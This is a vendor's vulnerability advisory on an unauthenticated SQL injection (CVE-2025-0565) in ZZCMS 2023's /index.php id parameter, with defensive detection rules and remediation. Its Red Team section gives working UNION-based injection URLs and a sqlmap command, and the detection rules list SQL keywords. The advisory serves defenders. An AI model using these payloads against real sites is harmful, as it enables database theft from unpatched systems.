CVE-2025-0565
Executive Summary
CVE-2025-0565 is a critical unauthenticated SQL injection vulnerability in ZZCMS 2023. The flaw resides in the /index.php file, where the id parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An attacker can exploit this remotely to extract sensitive data, modify database contents, or potentially achieve remote code execution via stacked queries. No official patch has been released, and a public proof-of-concept (PoC) is available, increasing the risk of widespread exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is trivial to exploit and requires no authentication, making it a prime target for automated scanning and mass exploitation.
Deep Dive & Mechanics
The vulnerability exists in the id parameter of /index.php. The application likely constructs SQL queries like:
SELECT * FROM articles WHERE id = $_GET['id'];
Without input validation or prepared statements, an attacker can inject SQL commands. For example:
/index.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
This allows extraction of arbitrary data from the database, including user credentials, session tokens, and configuration files. The database user likely has high privileges, enabling file read/write operations and potential command execution via INTO OUTFILE or xp_cmdshell (if MSSQL).
Vulnerable vs. Patched Code
Vulnerable Code (ZZCMS 2023):
// /index.php
$id = $_GET['id'];
$query = "SELECT * FROM articles WHERE id = $id";
$result = mysqli_query($conn, $query);
Patched Code (Hypothetical):
// /index.php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM articles WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
The patched version uses prepared statements and type casting to prevent injection.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy ZZCMS 2023 on a local server (e.g., XAMPP, Docker).
- Ensure the
/index.phpendpoint is accessible.
Exploitation Steps:
Basic SQL Injection:
http://target/index.php?id=1' OR '1'='1Extract Database Version:
http://target/index.php?id=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10--Extract Table Names:
http://target/index.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()--Automated Exploitation with sqlmap:
sqlmap -u "http://target/index.php?id=1" --batch --dbs
Blue Team
Detection Steps:
- Monitor web server logs for abnormal
idparameter patterns (e.g.,UNION,SELECT,OR 1=1). - Deploy a Web Application Firewall (WAF) with SQL injection rules.
- Use database activity monitoring to detect anomalous queries.
Hunting Query (Splunk):
index=web_logs uri="/index.php" | regex _raw="id=.*(UNION|SELECT|OR|AND|--|#)"
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/index.php?id=containing SQL keywords (UNION, SELECT, OR, AND, --, #). - Outbound database connections from the web server to unknown IPs.
- HTTP requests to
- File IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified database entries (e.g., admin user password hashes).
- Unexpected files in the web root (e.g.,
- Log IOCs:
- Web server logs showing repeated
idparameter manipulation. - Database logs showing
UNION SELECTorINTO OUTFILEstatements.
- Web server logs showing repeated
Detection Engineering
YARA Rule
rule CVE_2025_0565_SQLi_ZZCMS {
meta:
description = "Detects SQL injection attempts targeting ZZCMS /index.php id parameter"
author = "Valters IT"
date = "2025-02-20"
reference = "CVE-2025-0565"
strings:
$sqli1 = "id=" nocase
$sqli2 = "UNION" nocase
$sqli3 = "SELECT" nocase
$sqli4 = "OR" nocase
$sqli5 = "AND" nocase
$sqli6 = "--" nocase
$sqli7 = "#" nocase
condition:
all of ($sqli1, $sqli2, $sqli3) or
all of ($sqli1, $sqli4, $sqli5) or
all of ($sqli1, $sqli6) or
all of ($sqli1, $sqli7)
}
Sigma Rule
title: CVE-2025-0565 SQL Injection in ZZCMS /index.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against ZZCMS /index.php id parameter
author: Valters IT
date: 2025/02/20
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "id=1'"
- "id=1 OR"
- "id=1 AND"
- "id=1 UNION"
- "id=1--"
- "id=1#"
condition: selection
falsepositives:
- Legitimate use of special characters in id parameter (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-0565 SQL Injection Attempt - ZZCMS /index.php";
flow:to_server,established;
content:"/index.php"; http_uri;
content:"id="; http_uri;
pcre:"/id=.*(UNION|SELECT|OR|AND|--|#)/Ui";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable
/index.phpendpoint if not essential. - Implement a WAF with SQL injection rules (e.g., ModSecurity with OWASP CRS).
- Restrict database user privileges (e.g., no
FILEorCREATEprivileges).
- Disable the vulnerable
Long-term Fix:
- Upgrade to a patched version of ZZCMS (if available) or migrate to a supported CMS.
- Apply input validation and parameterized queries to all user-supplied data.
- Conduct a full security audit of the application.
Monitoring:
- Enable detailed logging for web and database servers.
- Set up alerts for SQL injection patterns.
Valters IT
Securing Digital Frontiers